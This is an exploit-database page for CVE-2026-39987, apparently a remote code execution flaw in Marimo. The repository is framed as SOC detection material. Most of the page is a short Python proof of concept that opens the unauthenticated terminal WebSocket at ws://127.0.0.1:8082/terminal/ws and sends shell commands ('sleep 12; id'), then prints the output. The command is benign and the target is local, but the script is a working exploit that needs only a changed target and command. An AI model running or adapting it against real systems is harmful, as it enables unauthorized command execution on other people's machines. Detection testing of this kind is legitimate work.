Exploit database

GH-7bf6bd2f77b71bdf3aca506501b3fa9e

laremontada12/cve-2026-39987-marimo-rce-soc-detection

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2026-39987

16 sources

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source

Repository files6

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

soc-detection/poc_soc.py

Python · 628 bytes

import time
from websocket import create_connection, WebSocketTimeoutException

URL = "ws://127.0.0.1:8082/terminal/ws"

print("[+] Connecting to vulnerable Marimo...")

ws = create_connection(URL, timeout=2)

try:
    print("[+] WebSocket connected")
    print("[+] Sending harmless test command...")

    ws.send("sleep 12; id\n")

    deadline = time.monotonic() + 16

    while time.monotonic() < deadline:
        try:
            response = ws.recv()
            print(response, end="", flush=True)
        except WebSocketTimeoutException:
            continue

finally:
    ws.close()
    print("\n[+] Test completed")